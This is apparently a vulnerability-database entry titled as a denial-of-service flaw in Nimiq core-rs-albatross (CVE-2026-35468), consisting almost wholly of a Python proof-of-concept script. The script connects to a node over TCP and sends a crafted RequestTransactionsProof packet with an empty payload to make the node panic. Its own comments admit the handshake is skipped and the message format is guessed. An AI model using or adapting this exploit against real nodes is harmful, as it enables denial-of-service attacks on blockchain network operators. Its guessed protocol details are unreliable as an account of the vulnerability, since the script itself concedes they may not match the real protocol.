CVE-2026-35468 Nimiq core-rs-albatross 拒绝服务漏洞

import socket import struct # This is a conceptual PoC for CVE-2026-35468 # It demonstrates sending a malicious consensus request to trigger the panic. # Note: Actual Nimiq protocol implementation requires specific serialization. def send_malicious_request(target_ip, target_port): try: # Establish TCP connection to the Nimiq node print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # In a real scenario, you would need to perform the handshake first. # Assuming handshake is done or bypassed for this PoC context. # Constructing a malicious RequestTransactionsProof message type. # The specific payload structure depends on the Nimiq protocol version. # This payload aims to hit the RequestTransactionsProof handler. message_type = struct.pack('>H', 20) # Example Type ID for RequestTransactionsProof payload_length = struct.pack('>I', 0) # Empty payload to trigger the handler logic malicious_packet = message_type + payload_length print("[*] Sending malicious RequestTransactionsProof packet...") s.send(malicious_packet) print("[*] Packet sent. Check if the remote node crashed (panic).") s.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual target IP and Port TARGET_IP = "127.0.0.1" TARGET_PORT = 8443 send_malicious_request(TARGET_IP, TARGET_PORT)